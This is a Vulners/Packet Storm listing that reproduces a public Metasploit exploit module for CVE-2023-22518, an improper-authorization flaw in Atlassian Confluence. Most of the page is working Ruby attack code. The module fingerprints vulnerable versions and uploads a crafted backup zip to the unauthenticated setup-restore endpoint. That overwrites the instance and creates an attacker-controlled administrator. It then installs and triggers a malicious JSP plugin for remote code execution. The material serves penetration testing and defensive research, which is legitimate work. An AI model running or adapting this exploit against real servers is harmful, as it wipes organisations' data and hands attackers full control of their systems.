Lucene search
K

Atlassian Confluence Improper Authorization / Code Execution

🗓️ 19 Dec 2023 00:00:00Reported by Atlassian, jheysel-r7, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 434 Views

This module exploits an improper authorization vulnerability in Atlassian Confluence, allowing an attacker to reset Confluence, create an administrator account, and install a malicious .jsp servlet plugin for code execution

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version  
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)',  
'Description' => %q{  
This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a  
Confluence instance administrator account. Using this account, an attacker can then perform all  
administrative actions that are available to Confluence instance administrator. This module uses the  
administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code  
execution on the target in the context of the of the user running the confluence server.  
},  
'Author' => [  
'Atlassian', # Discovery  
'jheysel-r7' # msf module  
],  
'References' => [  
[ 'URL', 'https://jira.atlassian.com/browse/CONFSERVER-93142'],  
[ 'CVE', '2023-22518']  
],  
'License' => MSF_LICENSE,  
'Privileged' => false,  
'Targets' => [  
[  
'Java',  
{  
'Platform' => 'java',  
'Arch' => [ARCH_JAVA]  
},  
]  
],  
'DisclosureDate' => '2023-10-31',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ CONFIG_CHANGES, ], # Major config changes - this module overwrites the confluence server with an empty backup with known admin credentials  
'Reliability' => [ REPEATABLE_SESSION, ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(8090),  
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),  
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),  
# The endpoint we target to trigger the vulnerability.  
OptEnum.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', '/json/setup-restore.action', ['/json/setup-restore.action', '/json/setup-restore-local.action', '/json/setup-restore-progress.action']]),  
# We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.  
OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])  
]  
)  
end  
  
def check  
confluence_version = get_confluence_version  
return Exploit::CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version  
  
# Confluence Server and Confluence Data Center have the same vulnerable version ranges.  
if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) ||  
confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) ||  
confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) ||  
confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2')) ||  
confluence_version == Rex::Version.new('8.6.0')  
return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")  
end  
  
Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")  
end  
  
# https://passlib.readthedocs.io/en/stable/lib/passlib.hash.atlassian_pbkdf2_sha1.html  
def generate_hash(password)  
salt = OpenSSL::Random.random_bytes(16)  
iterations = 10000  
digest = OpenSSL::Digest.new('SHA1')  
  
key = OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, 32, digest)  
salted_key = salt + key  
encoded_hash = Base64.strict_encode64(salted_key)  
  
'{PKCS5S2}' + encoded_hash  
end  
  
def create_zip  
zip_file = Rex::Zip::Archive.new  
  
# exportDescriptor.properties needs to be present in the zip file in order for it to be valid.  
export_descriptor = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'exportDescriptor.properties'))  
zip_file.add_file('exportDescriptor.properties', export_descriptor)  
  
entities_xml = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'entities.xml'))  
entities_xml.gsub!('NEW_USERNAME_LOWER', datastore['NEW_USERNAME'].downcase)  
entities_xml.gsub!('NEW_USERNAME', datastore['NEW_USERNAME'])  
entities_xml.gsub!('NEW_PASSWORD_HASH', generate_hash(datastore['NEW_PASSWORD']))  
  
zip_file.add_file('entities.xml', entities_xml)  
zip_file.pack  
end  
  
def upload_backup  
zip_file = create_zip  
post_data = Rex::MIME::Message.new  
post_data.add_part('false', nil, nil, 'form-data; name="buildIndex"')  
post_data.add_part('Upload and import', nil, nil, 'form-data; name="edit"')  
post_data.add_part(zip_file, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(8..16)}\"")  
  
data = post_data.to_s  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']),  
'method' => 'POST',  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'keep_cookies' => true,  
'headers' => {  
'X-Atlassian-Token' => 'no-check'  
},  
'vars_get' => {  
'synchronous' => 'true'  
}  
}, 120)  
  
fail_with(Failure::UnexpectedReply, "The endpoint #{datastore['CONFLUENCE_TARGET_ENDPOINT']} did not respond with a 302 or a 200") unless res&.code == 302 || res&.code == 200  
print_good("Exploit Success! Login Using '#{datastore['NEW_USERNAME']} :: #{datastore['NEW_PASSWORD']}'")  
end  
  
def exploit  
print_status("Setting credentials: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")  
  
# Exploit CVE-2023-22518 by uploading a backup .zip file to confluence with an attacker defined username & password  
upload_backup  
  
# Now with admin access, upload a .jsp plugin using the PayloadPlugin mixin to gain RCE on the target system.  
payload_endpoint = rand_text_alphanumeric(8)  
plugin_key = rand_text_alpha(8)  
begin  
payload_plugin = generate_payload_plugin(plugin_key, payload_endpoint)  
upload_payload_plugin(payload_plugin, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])  
trigger_payload_plugin(payload_endpoint)  
ensure  
delete_payload_plugin(plugin_key, payload_endpoint, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Dec 2023 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
CVSS 310
EPSS0.94375
434